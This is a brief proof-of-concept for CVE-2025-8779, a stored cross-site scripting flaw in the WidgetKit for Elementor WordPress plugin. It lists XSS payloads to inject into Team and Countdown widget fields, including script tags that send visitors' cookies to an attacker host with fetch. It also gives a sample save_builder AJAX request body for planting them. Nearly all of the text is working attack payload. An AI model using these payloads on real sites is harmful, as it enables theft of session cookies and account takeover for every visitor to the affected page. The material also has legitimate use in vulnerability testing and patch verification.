CVE-2025-8779

// CVE-2025-8779 Stored XSS PoC // Affected: WidgetKit for Elementor <= 2.5.6 // Attack Vector: Team widget or Countdown widget // Method 1: Via Team Widget // Add a Team widget to a page and inject XSS payload in name/description fields: // Payload: <img src=x onerror=alert(document.domain)> // or: <script>fetch('https://attacker.com/steal?c='+document.cookie)</script> // Method 2: Via Countdown Widget // In countdown widget settings, inject payload in title or message fields: // Payload: <svg onload=alert(document.cookie)> // The malicious script will execute for all users viewing the affected page. // No user interaction required (UI:N) - script executes on page load. // Example HTTP request structure (authenticated as contributor+): const pocPayload = { action: 'elementor_ajax', commands: ['save_builder'], data: { elements: [{ id: 'element_id', widgetType: 'widgetkit_team', settings: { name: '<script>alert("XSS")</script>', description: '<img src=x onerror=fetch("https://attacker.com?c="+btoa(document.cookie))>' } }] } };

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